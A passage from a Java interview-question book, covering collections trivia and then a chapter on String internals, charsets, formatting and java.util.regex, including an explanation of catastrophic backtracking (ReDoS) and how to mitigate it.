- **Does `take` respond to interruption?** Yes, throws `InterruptedException`.

#blockingqueue #design

Q104 HashSet of arrays or of List: what goes wrong? INTERMEDIATE

`false`. Arrays use identity `equals`/`hashCode`. Wrap values in a `List<Integer>`, a record, or `Arrays.hashCode` in a custom key class. A `List` key works but must never be mutated after insertion.

FOLLOW-UP TRAPS

- **`Set<List<Integer>>` and then `list.add(3)`?** The hash changes and the entry is lost in the wrong bucket.
- **`Arrays.asList(1,2).hashCode()` equals `List.of(1,2).hashCode()`?** Yes, specified by `List.hashCode`.

#arrays #hashset #keys

Q105 Capacity planning: a service caches 5 million Long->String entries in a HashMap. What should you check? ADVANCED

Estimate about 100+ bytes per entry (table slot, `Node` 32, boxed `Long` 16-24, `String` + `byte[]` ~50+), so roughly 0.5-1 GB. Presize to avoid copy spikes (a resize needs old and new tables briefly), consider primitive maps (fastutil `Long2ObjectOpenHashMap`), bounded eviction, and off-heap or Redis if too large; measure with a heap dump or JOL.

FOLLOW-UP TRAPS

- **Why does a resize cause latency spikes?** O(n) redistribution on one thread during `put`.
- **Does a larger heap fix it?** It shifts the problem to GC pause time and cache misses.

#capacity #memory #design

Q106 Sorting stability and equal priority: tasks with equal priority must run FIFO. What do you do? ADVANCED

Wrap tasks with an `AtomicLong` sequence number and compare by priority then sequence, since `PriorityQueue` is not stable.

```
record Item<T>(int prio, long seq, T task) {}
var pq = new PriorityQueue<Item<Runnable>>(
    Comparator.comparingInt((Item<Runnable> i) -> i.prio())
              .thenComparingLong(Item::seq));
```

FOLLOW-UP TRAPS

- **Does `PriorityBlockingQueue` solve it?** No, same lack of stability.
- **Overflow of the sequence?** A `long` counter will not realistically overflow.

#priorityqueue #stability #design

CORE JAVA · CHAPTER 7

Strings & Regular Expressions

String immutability, the string pool and intern, StringBuilder, compact strings, concatenation, text blocks, Unicode and charsets, formatting, hashing, security, regex engine behaviour, ReDoS and tricky output questions.

108 questions **44** basic **51** intermediate **13** advanced

Theory

Q1 Why is String immutable in Java? BASIC

A `String` cannot change after creation because its `value` array is private and final and no method mutates it. Immutability makes strings safe to share across threads, safe as map keys, cacheable (hash code, pool) and safe to pass to security-sensitive APIs.

- Thread safety without locking.
- `hashCode` is computed once and cached in the `hash` field.
- Class loading, file paths, URLs and DB credentials cannot be altered after validation (no TOCTOU change).
- Enables the string pool and substring/concat optimizations.

FOLLOW-UP TRAPS

- **Is `final String s` the same as an immutable String?** No. `final` makes the reference non-reassignable; immutability is a property of the class.
- **Can reflection change a String?** Historically yes by editing `value`; since Java 9 modules and strong encapsulation (enforced in 17) block it for `java.lang` by default.

#immutability #design

Q2 What is the string pool (string intern pool)? BASIC

The string pool is a JVM-wide table of canonical `String` instances. String literals and compile-time constant expressions are interned, so identical literals share one object.

- Since Java 7 the pool lives on the heap (it was in PermGen in Java 6), so pooled strings are garbage collectable.
- The pool is a native hash table; default size is 65536 buckets in modern JDKs (`-XX:StringTableSize`).
- `new String("a")` creates a separate heap object that is not the pooled instance.

FOLLOW-UP TRAPS

- **Where is the pool in Java 8+?** In the heap, not the metaspace.
- **Are pooled strings ever collected?** Yes, once unreachable, since Java 7.

#string-pool #memory

Q3 What does String.intern() do? INTERMEDIATE

`intern()` returns the canonical pooled instance equal to this string, adding this string to the pool if no equal one exists.

- Useful to dedupe millions of repeated values (country codes, tags) when parsed from external input.
- Cost: a pool lookup that is slower than a `HashMap` of your own for large volumes, and contention on a shared table.

- Prefer an application-level `Map<String,String>` or `Interner` (Guava) for controlled dedup, or G1's `-XX:+UseStringDeduplication` for the backing arrays.

> **FOLLOW-UP TRAPS**
> - **Does `intern()` modify the original object?** No, it returns a possibly different reference.
> - **Does interning save memory with G1 deduplication already on?** Dedup only shares `byte[]` values, not `String` objects, so they are complementary.

#intern #string-pool

Q4 What is the difference between == and equals() for strings? BASIC

`==` compares references; `equals` compares character content. Two strings with the same content can be different objects, so use `equals` for logic.

- `equals` first checks identity, then `instanceof String`, then coder (LATIN1/UTF16) and bytes.
- Use `equalsIgnoreCase` for case-insensitive comparison and `"lit".equals(x)` to avoid NPE.
- `Objects.equals(a, b)` is null-safe on both sides.

> **FOLLOW-UP TRAPS**
> - **Why does `"a" == "a"` return true?** Both literals resolve to the same pooled instance.
> - **Why can `==` appear to work in tests but fail in production?** Test data are literals; runtime data (input, DB, concatenation) are new objects.

#equals #identity

Q5 How many objects are created by new String("abc")? BASIC

Up to two: the literal `"abc"` (pooled, created once when the class resolves it if not already present) and a new heap `String` from the constructor.

- If `"abc"` is already in the pool, only one new object is created at this statement.
- The copy constructor shares the internal byte array in modern JDKs, so the extra cost is the `String` header, not the data.
- The constructor is almost never needed; it only matters to detach from a large parent string in old JDKs.

> **FOLLOW-UP TRAPS**
> - **Is `new String("abc") == "abc"`?** False.
> - **Is `new String("abc").intern() == "abc"`?** True.

#string-pool #new

Q6 Compare String, StringBuilder and StringBuffer. BASIC

`String` is immutable; `StringBuilder` is a mutable, unsynchronized buffer; `StringBuffer` is the same API with synchronized methods.

- `StringBuilder` is the default choice for single-threaded building.
- `StringBuffer` (since 1.0) pays locking cost; even then compound operations across calls are not atomic.
- Both share `AbstractStringBuilder`, doubling capacity (`old * 2 + 2`) when full.
- Neither overrides `equals`/`hashCode` (identity based); `StringBuilder` implements `Comparable` since Java 11.

> **FOLLOW-UP TRAPS**
> - **Is `StringBuffer` useful for sharing between threads?** Rarely; individual calls are safe but sequences like check-then-append are not.
> - **Does `sb.equals(other)` compare content?** No, use `toString().equals` or `compareTo`/`contentEquals`.

#stringbuilder #stringbuffer #thread-safety

Q7 How does StringBuilder grow, and how do you avoid reallocation? INTERMEDIATE

The default capacity is 16. When an append would exceed capacity, the new capacity becomes `max(required, old * 2 + 2)` and the array is copied.

- Pass an expected size: `new StringBuilder(expectedLength)`.
- `setLength(0)` reuses the buffer; `trimToSize()` releases excess.
- `new StringBuilder(String s)` allocates `s.length() + 16`.

FOLLOW-UP TRAPS

- **Does `new StringBuilder(10)` limit length to 10?** No, it is only the initial capacity.
- **Does `setLength(0)` free memory?** No, capacity remains.

#stringbuilder #capacity #performance

Q8 What are compact strings (Java 9+)? INTERMEDIATE

Since Java 9 (JEP 254) a `String` stores a `byte[]` plus a `coder` flag: `LATIN1` (1 byte per char) when all chars are <= 0xFF, otherwise `UTF16` (2 bytes per char). Java 8 always used `char[]` (2 bytes).

- Typical heaps shrink 10-25% because most strings are Latin-1.
- A single non-Latin-1 character makes the entire string UTF16.
- `-XX:-CompactStrings` disables it.
- `length()` and `charAt()` remain O(1); `charAt` branches on coder.

FOLLOW-UP TRAPS

- **Is the internal encoding UTF-8?** No, only Latin-1 or UTF-16.
- **Does `"héllo"` use one byte per char?** Yes, `é` is U+00E9, within Latin-1.

#compact-strings #memory #jep-254

Q9 How does string concatenation with + work, and what changed in Java 9? INTERMEDIATE

Up to Java 8, `javac` compiled `a + b` into `new StringBuilder().append(a).append(b).toString()`. Since Java 9 (JEP 280) it emits an `invokedynamic` call to `StringConcatFactory`, which picks an optimal strategy at runtime.

- The bootstrap computes the exact final length and allocates once, avoiding intermediate buffers.
- Compile-time constants (`"a" + "b"`, `final` locals) are folded by `javac` and become one pooled literal.
- Concatenation in a loop still creates a new string per iteration, so use `StringBuilder` there.

FOLLOW-UP TRAPS

- **Is `+` in a loop fine after Java 9?** Each iteration still copies the whole accumulated string, giving O(n^2).
- **Can code compiled for 8 benefit from the new strategy?** Only if recompiled with `-release 9` or newer.

#concatenation #invokedynamic #jep-280

Q10 When does the compiler fold string concatenation at compile time? INTERMEDIATE

When every operand is a compile-time constant expression: literals, and `final` variables initialized with constants. The result is interned like a literal.

```
final String a = "ja";
String b = "ja";
System.out.println(("ja" + "va") == "java"); // true
System.out.println((a + "va") == "java");    // true
System.out.println((b + "va") == "java");    // false
```

- A `final` field or local assigned from a method call is not a constant.

FOLLOW-UP TRAPS

- **Does making `b` effectively final change the result?** No; constant variables need the explicit `final` modifier and constant initializer.
- **Is `(b + "va").intern() == "java"` ?** True.

#constants #concatenation #string-pool

Q11 Can you use String in a switch statement, and how is it implemented? BASIC

Yes since Java 7. `javac` switches on `hashCode()` first, then confirms with `equals` inside each hash bucket, and finally switches on an int index.

- A `null` selector throws `NullPointerException` (unless `case null` in Java 21 pattern switch).
- Case labels must be constant expressions and unique.
- Hash collisions such as `"Aa"` and `"BB"` are handled by the `equals` check.

FOLLOW-UP TRAPS

- **Is the switch case-insensitive?** No, normalize first with `toLowerCase(Locale.ROOT)`.
- **What if two case labels collide on hashCode?** Legal; the generated code disambiguates with `equals`.

#switch #hashcode

Q12 What is a switch expression on strings and how does it differ from the old switch? BASIC

Java 14+ switch expressions use `->` arms that yield a value, never fall through and must be exhaustive (a `default` is required for strings).

```
int days = switch (month) {
    case "feb" -> 28;
    case "apr", "jun", "sep", "nov" -> 30;
    default -> 31;
};
```

FOLLOW-UP TRAPS

- **Does `->` need `break` ?** No, there is no fall-through.
- **Can one arm list several labels?** Yes, comma separated.

#switch #java14

Q13 What are the commonly used String methods added in Java 11 and later? BASIC

Java 11 added `isBlank()`, `strip()`, `stripLeading()`, `stripTrailing()`, `lines()` and `repeat(int)`. Java 12 added `indent` / `transform`; Java 15 added `formatted` and `stripIndent` / `translateEscapes`.

- `strip()` removes Unicode whitespace (`Character.isWhitespace`); `trim()` removes chars <= U+0020 only.
- `lines()` returns a `Stream<String>` split on `\n`, `\r`, `\r\n`, without terminators.
- `"ab".repeat(3)` gives `ababab`; `repeat(0)` gives empty; negative throws `IllegalArgumentException`.
- `"x=%d".formatted(5)` is `String.format` as an instance method.

FOLLOW-UP TRAPS

- **Is `isBlank()` the same as `isEmpty()` ?** No, `" ".isEmpty()` is false while `" ".isBlank()` is true.
- **Does `lines()` return a trailing empty element for a trailing newline?** No.

#api #java11

Q14 How do strip() and trim() differ? INTERMEDIATE

`trim()` removes characters with code <= U+0020 (space, tab, control chars). `strip()` removes characters for which `Character.isWhitespace(int)` is true, including Unicode spaces such as U+2003 (em space).

- Neither removes the non-breaking space U+00A0, because `isWhitespace` excludes it.
- Both return the same instance if nothing needs stripping.

FOLLOW-UP TRAPS

- **Does `strip()` remove ` `?** No. Use a regex like `\p{Z}` or `replace(' ', ' ')`.
- **Does `trim()` remove ` `?** No.

#strip #trim #unicode

Q15 What are text blocks and what are their rules? BASIC

Text blocks (standard in Java 15) are multi-line literals delimited by `"""`. The opening delimiter must be followed by a line terminator.

```
String json = """
    {
      "name": "Ann"
    }
    """;
```

- Incidental indentation is removed using the least-indented line (including the closing delimiter line).
- Trailing spaces on each line are stripped; line endings are normalized to `\n`.
- `\` at line end suppresses the newline; `\s` keeps a trailing space.
- Quotes need no escaping except a sequence of three.

FOLLOW-UP TRAPS

- **Does a text block end with a newline?** Yes if the closing `"""` is on its own line; put it right after the last text to avoid it.
- **Is a text block a different type?** No, it is a normal `String` (pooled like a literal).

#text-blocks #java15

Q16 What is the difference between char, code unit, code point and grapheme? INTERMEDIATE

A Java `char` is a 16-bit UTF-16 code unit. A code point is a Unicode scalar value (0 to 0x10FFFF); those above 0xFFFF need two chars (a surrogate pair). A grapheme is what users perceive as one character and may be several code points.

- `length()` counts code units; `codePointCount(0, len)` counts code points.
- `"😀".length()` is 2, `codePointCount` is 1.
- Iterate with `codePoints()` or `Character.charCount`.
- User-perceived characters (flag emoji, "e" plus combining accent) need `BreakIterator` or regex `\X` (Java 9+).

FOLLOW-UP TRAPS

- **Does `new StringBuilder("😀").reverse()` break it?** No, `reverse` treats surrogate pairs correctly; naive char reversal would not.
- **Is `charAt(0)` of an emoji a valid character?** It is a lone high surrogate.

#unicode #code-points

Q17 What is the difference between Unicode and UTF-8, UTF-16, ISO-8859-1? BASIC

Unicode is the catalogue of code points; UTF-8, UTF-16 and ISO-8859-1 are encodings turning them into bytes.

- UTF-8: 1-4 bytes, ASCII compatible, no endianness issue; the web default.
- UTF-16: 2 or 4 bytes per code point; Java's in-memory form.
- ISO-8859-1: 1 byte, covers U+0000-U+00FF only; unmappable characters become `?`.
- Always pass a charset explicitly: `getBytes(StandardCharsets.UTF_8)`.

FOLLOW-UP TRAPS

- **What does `"é".getBytes(UTF_8).length` return?** 2.
- **Why is `String(byte[])` risky?** It uses the platform default charset (before Java 18).

#charset #utf-8 #unicode

Q18 What changed about the default charset in Java 18? INTERMEDIATE

JEP 400 makes UTF-8 the default charset for the JVM (`Charset.defaultCharset()`) regardless of OS locale. Before 18 it came from `file.encoding`/locale (e.g. Cp1252 on Windows).

- `System.out` encoding and console use `stdout.encoding`, which can still differ.
- `-Dfile.encoding=COMPAT` restores the old behaviour.
- Best practice stays: specify the charset explicitly in `Files`, `InputStreamReader`, `getBytes`.

FOLLOW-UP TRAPS

- **Does Java 18 make `new String(bytes)` safe?** For default charset, yes UTF-8, but explicit is still clearer.
- **Do `Files.readString`/`writeString` default to UTF-8?** Yes, since Java 11, independent of the default.

#charset #jep-400

Q19 What happens when bytes are decoded with the wrong charset? INTERMEDIATE

`new String(bytes, charset)` never throws; malformed or unmappable input is replaced with U+FFFD, and mis-decoding valid bytes yields mojibake (e.g. UTF-8 `é` decoded as Latin-1 becomes `Ã©`).

- For strict validation use `CharsetDecoder` with `CodingErrorAction.REPORT`.
- Data lost via replacement cannot be recovered by re-encoding.
- Round-tripping through Latin-1 is lossless for bytes, which is occasionally used to carry binary data (not recommended; use Base64).

FOLLOW-UP TRAPS

- **Does `getBytes(US_ASCII)` throw for `é`?** No, it writes `?`.
- **Can you fix mojibake by `new String(s.getBytes(ISO_8859_1), UTF_8)`?** Often yes if nothing was lost in between.

#charset #mojibake

Q20 How do String.format and printf work? BASIC

`String.format(fmt, args...)` parses a format string with specifiers `%[argument_index$][flags][width][.precision]conversion` using `java.util.Formatter`.

- Common conversions: `%s` (any, uses `toString`), `%d`, `%f`, `%x`, `%c`, `%b`, `%n` (platform newline), `%%`, `%e`.
- `%08.3f` zero-pads width 8 with 3 decimals; `%,d` adds grouping; `%-10s` left-aligns.
- `%2$s %1$s` selects arguments by index.
- A mismatch throws `IllegalFormatException` subclasses at runtime (`MissingFormatArgumentException`, `IllegalFormatConversionException`).

FOLLOW-UP TRAPS

- **Is `String.format` locale-dependent?** Yes, it uses `Locale.getDefault(FORMAT)`; pass `Locale.ROOT` / `US` for machine-readable output.
- **Is `%n` the same as `\n`?** `%n` is the platform line separator.

#format #formatter

Q21 Why is String.format slow and when should you avoid it? INTERMEDIATE

Every call parses the format string with a regex-free but nontrivial parser, creates a `Formatter`, boxes primitives and allocates a `StringBuilder`. It is several times slower than concatenation or `StringBuilder`.

- Avoid in hot paths and in log statements; use parameterized logging (`log.debug("x={}", x)`).
- Fine for infrequent messages and reports.
- `"x".formatted(...)` has the same cost, only a different syntax.

FOLLOW-UP TRAPS

- **Is `log.debug(String.format(...))` lazy?** No, the string is built even if debug is disabled.
- **Does the JIT remove the cost?** Not the allocation and parsing.

#format #performance

Q22 Why should passwords be stored in char[] rather than String? INTERMEDIATE

A `String` is immutable and stays in memory (and possibly pooled or in heap dumps) until GC; you cannot wipe it. A `char[]` can be overwritten with `Arrays.fill(chars, '\0')` immediately after use.

- `Console.readPassword()` and Swing `JPasswordField.getPassword()` return `char[]`.
- It does not protect against everything: heap dumps taken earlier, GC copying, and frameworks that convert to String (HTTP params, JSON) defeat it.
- Prefer hashed verification (bcrypt, Argon2) so the plaintext lives briefly.

FOLLOW-UP TRAPS

- **Does zeroing a char[] guarantee no copy remains?** No; the GC may have copied it and swap/core dumps can hold it.
- **Does `toString()` on a `char[]` print contents?** No, it prints `[C@hash`.

#security #password #char-array

Q23 How is String.hashCode computed? BASIC

`s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]` in `int` arithmetic with overflow, over the chars (code units). The result is cached in the `hash` field (with a `hashIsZero` flag since Java 13 so zero hashes are also cached).

- 31 is an odd prime and `31 * i == (i << 5) - i`, cheap for the JIT.
- The algorithm is specified, so it is stable across JVMs and runs, unlike `Object.hashCode`.
- Collisions are easy to build: `"Aa"` and `"BB"` both give 2112.

FOLLOW-UP TRAPS

- **What is `"".hashCode()`?** 0.
- **Can attackers exploit collisions?** Yes (hash flooding); `HashMap` mitigates by treeifying buckets of `Comparable` keys.

#hashcode #internals

Q24 What are the gotchas of String.split? INTERMEDIATE

`split(regex)` takes a regular expression, not a literal, and drops trailing empty strings by default.

- `"a.b".split(".")` returns an empty array because `.` matches every char; use `"\\."` or `Pattern.quote(".")`.
- `"a,b,,".split(",")` gives `[a, b]`; use `split(",", -1)` to keep trailing empties.
- A leading empty string is kept when there is a positive-width match at index 0: `",a".split(",")` is `["", "a"]`; a zero-width match at the start never produces one (Java 8+).
- `"".split(",")` returns `[""]` (length 1), while `" ".split(" ")` returns an empty array (length 0).
- `split` has a fast path (no regex) for single non-metachar and escaped single char.

FOLLOW-UP TRAPS

- **What does `"a|b".split("|")` return?** `[a, |, b]` because empty regex alternation matches between every char.
- **How to split on a literal pipe?** `split("\\|")`.

#split #regex

Q25 What does the limit argument of split do? INTERMEDIATE

With limit `n > 0` the array has at most `n` elements and the last holds the unsplit remainder; `n == 0` drops trailing empties and is the default; `n < 0` keeps all, including trailing empties.

```
"a:b:c".split(":", 2);   // [a, b:c]
"a:b::".split(":", -1);  // [a, b, , ]
"a:b::".split(":");      // [a, b]
```

FOLLOW-UP TRAPS

- **Is `limit = 1` useful?** It returns the whole string as the only element.
- **Does `limit` apply to the Scanner/StringTokenizer?** No; `StringTokenizer` is legacy and ignores regex.

#split #limit

Q26 What is the difference between replace, replaceAll and replaceFirst? BASIC

`replace(CharSequence, CharSequence)` and `replace(char, char)` are literal and replace all occurrences. `replaceAll` and `replaceFirst` take a regex and treat `$` and `\` in the replacement specially.

- `"a.b".replace(".", "-")` gives `a-b`; `replaceAll(".", "-")` gives `---`.
- Replacement with `$1` refers to group 1; use `Matcher.quoteReplacement` for literal text.
- `replaceAll` compiles a new `Pattern` each call, so precompile for hot loops.

FOLLOW-UP TRAPS

- **Does `replace` use regex internally?** No, since Java 9 it uses a plain indexOf-based loop.
- **What happens with `"cost".replaceAll("o", "$")`?** `IllegalArgumentException: Illegal group reference`.

#replace #regex

Q27 What are the main classes of java.util.regex? BASIC

`Pattern` is the compiled, immutable, thread-safe regex. `Matcher` is a stateful engine for one input and is not thread-safe. `PatternSyntaxException` reports bad syntax; `MatchResult` is a snapshot of a match.

- `Pattern.compile(regex, flags)` once, reuse; `p.matcher(input)` per use.
- `matches()` requires the full region to match; `find()` searches for the next match; `lookingAt()` anchors at the start only.
- `Pattern.matches(regex, s)` and `String.matches` recompile every time.

FOLLOW-UP TRAPS

- **Is `Matcher` thread-safe?** No; share the `Pattern`, not the `Matcher`.
- **Does `matches()` need `^` and `$`?** No, it already matches the entire input.

#regex #pattern #matcher

Q28 How do capturing groups, named groups and backreferences work? INTERMEDIATE

Parentheses capture. Groups are numbered by their opening parenthesis from 1; group 0 is the whole match. Named groups use `(?<name>...)`, backreferences use `\1` or `\k<name>`.

```
Matcher m = Pattern.compile("(?<y>\\d{4})-(?<m>\\d{2})").matcher("2026-10");
if (m.matches()) System.out.println(m.group("y") + "/" + m.group(2)); // 2026/10
```

- `(?:...)` is a non-capturing group.
- Group names must be alphanumeric and start with a letter (no underscores).
- Replacement refs: `$1` or `${name}`.

FOLLOW-UP TRAPS

- **What does `group(1)` return for an optional group that did not participate?** `null`.
- **Is `group()` before `find()` / `matches()` allowed?** No, `IllegalStateException`.

#regex #groups

Q29 What is the difference between greedy, lazy and possessive quantifiers? INTERMEDIATE

Greedy (`*`, `+`, `?`, `{n,m}`) takes as much as possible then backtracks. Lazy (`*?`) takes as little as possible and expands. Possessive (`*+`) takes as much as possible and never gives back.

- On `<a><b>`: `<.*>` matches the entire string; `<.*?>` matches `<a>`; `<.*+>` fails because it consumes `>` and cannot backtrack.
- Possessive quantifiers and atomic groups `(?>...)` prevent catastrophic backtracking.

FOLLOW-UP TRAPS

- **Does lazy mean faster?** No, it just changes match choice; it can backtrack heavily too.
- **Does `.` match a newline?** Not unless `DOTALL` (`(?s)`).

#regex #quantifiers

Q30 Explain lookahead and lookbehind. INTERMEDIATE

Lookarounds are zero-width assertions: `(?=x)` positive lookahead, `(?!x)` negative lookahead, `(?<=x)` positive lookbehind, `(?<!x)` negative lookbehind. They check context without consuming characters.

- Password rule: `^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}$`.
- Thousands separator: `\B(?=(\d{3})+(?!\d))`.
- Java lookbehind needs a bounded maximum length: `(?<=ab{1,3})` is fine, while unbounded `(?<=a+)` is rejected or unreliable, so avoid `*` and `+` inside it.

FOLLOW-UP TRAPS

- **Does a lookahead appear in `group(0)`?** No, it consumes nothing.
- **Can lookahead contain capturing groups?** Yes, and they are retained after a positive lookahead.

#regex #lookahead #lookbehind

Q31 What are the common Pattern flags? BASIC

`CASE_INSENSITIVE` (`(?i)`, ASCII only unless `UNICODE_CASE`), `MULTILINE` (`(?m)`, `^` / `$` per line), `DOTALL` (`(?s)`), `COMMENTS` (`(?x)`), `UNICODE_CASE` (`(?u)`), `LITERAL`, `UNICODE_CHARACTER_CLASS` (`(?U)`, makes `\w`, `\d`,

`\b` Unicode aware).

- By default `\w` is `[a-zA-Z_0-9]` and `\d` is `[0-9]`, so `é` does not match `\w`.
- Use `\p{L}` or `\p{IsAlphabetic}` for letters in any script.
- Flags combine with `|`.

FOLLOW-UP TRAPS

- **Does `(?i)` match `ß` and `SS`?** No; no full case folding in Java regex.
- **Does `$` match before a final newline?** Yes by default `$` matches at the end and before a final line terminator.

#regex #flags

Q32 Why do you need double backslashes in Java regex strings? BASIC

Backslash is an escape in Java string literals and again in the regex syntax. `\d` in regex must be written `"\\d"`; a literal backslash in regex is `"\\\\"`.

- Text blocks do not remove this need (the escape is still processed) but are readable with `\\d`.
- `Pattern.quote(s)` wraps text in `\Q...\E` to match it literally.
- `Matcher.quoteReplacement` is for the replacement side.

FOLLOW-UP TRAPS

- **How to match a literal dot?** `"\\."` or `"[.]"`.
- **Is `"\d"` valid Java?** No, compile error: illegal escape character.

#regex #escaping

Q33 What is catastrophic backtracking and ReDoS? ADVANCED

Java's regex engine is a backtracking NFA. A pattern with nested or overlapping quantifiers can take exponential time on a crafted non-matching input; used on user data that is a Regular Expression Denial of Service.

- Classic: `(a+)+$` on `"aaaaaaaaaaaaaaaaaaaaaaaa!"`. Others: `(a|aa)+`, `(.*a){20}`, `^(\w+\s?)*$`.
- Mitigations: avoid nested quantifiers, make alternatives disjoint, use possessive quantifiers or atomic groups, bound input length, avoid user-supplied patterns.
- Java 9+ added optimizations (e.g. memoization for some loops in 9+; more in later releases) but they are not a guarantee.
- Use a timeout wrapper (a `CharSequence` that checks a deadline) or a linear-time engine such as RE2/J for untrusted patterns.

FOLLOW-UP TRAPS

- **Does `Pattern.compile` itself risk ReDoS?** Compilation is safe; matching is the problem.
- **Does `matches()` fail faster than `find()`?** Not necessarily; both backtrack.

#regex #redos #security

Q34 How do you add a timeout to a regex match in Java? ADVANCED

`java.util.regex` has no built-in timeout. Wrap the input in a `CharSequence` whose `charAt` checks a deadline and throws.

```
class Deadline implements CharSequence {
    private final CharSequence s; private final long end;
    Deadline(CharSequence s, long endNanos) { this.s = s; this.end = endNanos; }
    public char charAt(int i) {
        if (System.nanoTime() > end) throw new IllegalStateException("regex timeout");
        return s.charAt(i);
    }
    public int length() { return s.length(); }
    public CharSequence subSequence(int a, int b) { return new Deadline(s.subSequence(a, b),
end); }
    public String toString() { return s.toString(); }
}
```

- Simpler alternatives: run in an executor with `Future.get(timeout)` (the thread keeps running though), or limit input length.

FOLLOW-UP TRAPS

- **Can `Future.cancel(true)` stop a regex?** No; the engine does not check interruption.
- **Why is the thread still burning CPU after a timeout?** Because only the wait stops, not the matcher.

#regex #timeout #redos

Q35 How does Matcher.find, appendReplacement and results() work? INTERMEDIATE

`find()` advances through successive matches; `start()`, `end()`, `group()` describe the current one. `results()` (Java 9) returns a `Stream<MatchResult>`; `replaceAll(Function<MatchResult,String>)` (Java 9) computes replacements.

```
Pattern p = Pattern.compile("\\d+");
String out = p.matcher("a1 b22").replaceAll(r -> "<" + r.group() + ">");
System.out.println(out); // a<1> b<22>
```

- `appendReplacement` / `appendTail` with `StringBuilder` overloads exist since Java 9.
- `reset()` reuses the matcher on new input.

FOLLOW-UP TRAPS

- **Does `find()` restart from the beginning on each call?** No, it continues after the previous match unless `reset()`.
- **What does an empty match do to `find()` loops?** The engine advances one char, so the loop terminates.

#regex #matcher #streams

Q36 How can you use regex predicates and streams from Pattern? INTERMEDIATE

`Pattern.asPredicate()` (find semantics) and `asMatchPredicate()` (Java 11, full match) produce predicates; `splitAsStream` splits lazily.

```
Pattern p = Pattern.compile("^[A-Z]{2}\\d+$");
List<String> ok = ids.stream().filter(p.asMatchPredicate()).toList();
```

- `asPredicate` uses `find()`, so it succeeds on partial matches.

FOLLOW-UP TRAPS

- **Which predicate equals `String.matches`?** `asMatchPredicate`.
- **Is the predicate thread-safe?** Yes; each test creates its own `Matcher`.

#regex #streams

Q37 What are the performance considerations of using strings heavily? INTERMEDIATE

Strings dominate heap in most services. Reduce allocation, copying and retention.

- Precompile regexes; avoid `split` / `replaceAll` / `matches` in loops.
- Presize `StringBuilder`; avoid `+=` in loops.
- Avoid `substring` of large inputs kept long-term in Java 6 (shared array); since 7u6 `substring` copies, so the parent can be freed.
- Prefer `char`-based `indexOf` / `startsWith` over regex for simple checks.
- Consider G1 string deduplication and compact strings for memory.
- Avoid `intern()` on unbounded data.

> **FOLLOW-UP TRAPS**
> - **Does `substring` share the array in Java 8?** No, it copies since 7u6.
> - **Is `String.join` faster than a loop with `+`?** Yes, it computes size once and builds one result.

#performance #gc

Q38 How does String.join and Collectors.joining work? BASIC

`String.join(delimiter, elements)` (Java 8) concatenates an `Iterable<CharSequence>` or varargs. `Collectors.joining(delim, prefix, suffix)` does the same for streams, using a `StringJoiner`.

- `StringJoiner` supports `setEmptyValue`.
- `null` elements print as `"null"`.
- Joining does not escape the delimiter in the elements.

> **FOLLOW-UP TRAPS**
> - **Does `String.join(",", (List<String>) null)` throw?** Yes, NPE.
> - **Is a `null` element skipped?** No, it appears as `null`.

#join #streams

Q39 How do String comparison and sorting work (compareTo, Collator)? INTERMEDIATE

`compareTo` compares UTF-16 code units lexicographically; the result is the difference of the first differing chars or of the lengths. It is not locale-aware, so uppercase sorts before lowercase and accented letters sort after `z`.

- `String.CASE_INSENSITIVE_ORDER` compares case-folded chars.
- Use `java.text.Collator.getInstance(locale)` for human-correct ordering.
- Sort with `Comparator.comparing(String::toLowerCase)` only for simple cases.

> **FOLLOW-UP TRAPS**
> - **Is the sign of `compareTo` guaranteed to be -1/0/1?** No, only the sign matters.
> - **Does `"Z".compareTo("a")` return negative?** Yes (90 - 97 = -7).

#compareto #collator #locale

Q40 Why does toUpperCase/toLowerCase need a Locale? INTERMEDIATE

Case mapping is locale-sensitive. In Turkish, `"I".toLowerCase()` becomes dotless `ı`, breaking comparisons such as `"TITLE".toLowerCase().equals("title")`.

- Use `toLowerCase(Locale.ROOT)` or `Locale.ENGLISH` for protocol keywords, identifiers and map keys.
- Length can change: `"ß".toUpperCase()` is `"SS"`.
- `equalsIgnoreCase` is locale-independent (per char), preferred for simple comparisons.

> **FOLLOW-UP TRAPS**
> - **Does `toUpperCase().length()` always equal the original?** No (`ß` to `SS`).
> - **Is `equalsIgnoreCase` correct for all Unicode?** It compares upper then lower per char, not full case folding.

#locale #case

Q41 What is the difference between String, CharSequence and Character-based APIs? BASIC

`CharSequence` is the read-only interface (`length`, `charAt`, `subSequence`, `toString`, `chars`, `isEmpty` since 15) implemented by `String`, `StringBuilder`, `StringBuffer`, `CharBuffer`.

- Accept `CharSequence` in utility methods to avoid forced `toString()` copies.
- Regex `Pattern.matcher(CharSequence)` works on any of them.
- Mutable implementations must not be used as map keys.

> **FOLLOW-UP TRAPS**
> - **Does `"a".contentEquals(sb)` work?** Yes, it compares to any `CharSequence`.
> - **Is `"a".equals(sb)` true for the same content?** No, `equals` requires a `String`.

#charsequence #api

Q42 How do you convert between String, char[] and byte[] correctly? BASIC

`toCharArray()` copies the characters; `new String(chars)` copies them back; bytes require a charset.

- `s.getBytes(StandardCharsets.UTF_8)` and `new String(bytes, StandardCharsets.UTF_8)`.
- `String.valueOf(char[])` equals `new String(char[])`; `String.valueOf((Object) null)` gives `"null"`.
- `s.chars()` yields an `IntStream` of UTF-16 units; `s.codePoints()` yields code points.

> **FOLLOW-UP TRAPS**
> - **Does `toCharArray` expose the internal array?** No, it returns a copy.
> - **Does `String.valueOf(null)` compile?** It chooses the `char[]` overload and throws NPE.

#conversion #charset

Q43 What is Base64 and how is it used with strings in Java? BASIC

`java.util.Base64` (Java 8) converts bytes to ASCII text; it is an encoding, not encryption. Variants: basic, URL-safe (`-` and `_`, no `+` and `/`) and MIME.

```
String enc = Base64.getEncoder().encodeToString("hi".getBytes(StandardCharsets.UTF_8));
byte[] raw = Base64.getDecoder().decode(enc);
```

- Output is about 33% larger; padding `=` can be dropped with `withoutPadding()`.
- Always go through bytes and an explicit charset for text.

> **FOLLOW-UP TRAPS**
> - **Is Base64 secure for passwords?** No, it is trivially reversible.
> - **Which variant belongs in a URL or JWT?** URL-safe without padding.

#base64 #encoding

Q44 How do StringBuilder operations like insert, deleteCharAt and reverse behave? BASIC

`append` is amortized O(1); `insert` and `delete` shift the tail, O(n); `reverse` is in-place and surrogate-pair aware; `setCharAt` replaces one unit.

- `sb.append(char)` vs `sb.append(int)`: `append('a' + 1)` appends the number 98 because the expression is `int`.

- `sb.insert(0, x)` repeatedly is O(n^2); use `ArrayDeque` or build in reverse.
- Methods return `this`, enabling chaining.

FOLLOW-UP TRAPS

